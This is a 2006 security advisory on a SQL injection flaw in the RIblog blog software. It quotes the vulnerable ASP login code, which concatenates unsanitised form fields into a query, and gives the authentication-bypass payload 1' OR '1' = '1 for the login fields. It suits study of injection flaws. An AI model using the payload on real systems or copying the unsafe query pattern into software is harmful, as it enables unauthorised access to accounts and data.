------------------------------------------------------------------ - RIblog Remote SQL Injection Exploit - -= http://colander.altervista.org/advisory/riblog.txt =- ------------------------------------------------------------------ -= RIblog =- Omnipresent April 21, 2006 Vunerability(s): ---------------- SQL Injection Product: -------- bloggage Vendor: -------- http://romedahl.com Description of product: ----------------------- It is a Blog. Not Available Yet. Vulnerability / Exploit: ------------------------ This software is vulnerable to a Remote SQL Injection. Take a look of this script in [...] doLogin = Request.Form("login") 'login If doLogin = "" Then Trim(Request.Form("login")) End If ' Submit to self If doLogin = "true" Then If sUserName = "" Then sUserName = Trim(Request.Form("UserName")) End If If sPassword = "" Then sPassword = Trim(Request.Form("Password")) End If Set myRecSet = server.createobject("adodb.recordset") strConn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strDBPath & ";" Set myConn = server.createobject("adodb.connection") myConn.open strConn strSQL = "SELECT * FROM tUser WHERE fuser = '"& sUserName &"' and fpassword = '" & sPassword &"';" [...] As you can see, the string strSQL is the query passed to the DB. And the variables sUserName and sPassword are not properly sanitised. So, an attacker can exploit this vulnerability by injection SQL Code. Like the example below: 1' OR '1' = '1 The attacker have to put the string above in the username and password fields. the query will be: strSQL = "SELECT * FROM tUser WHERE fuser = '1' OR '1' ='1' and fpassword = '1' OR '1' ='1'; The attacker can gain access to the blog and edit, view comments, etc, etc. Vendor Status ------------- Not informed! Credits: -------- omnipresent omnipresent@xxxxxxxx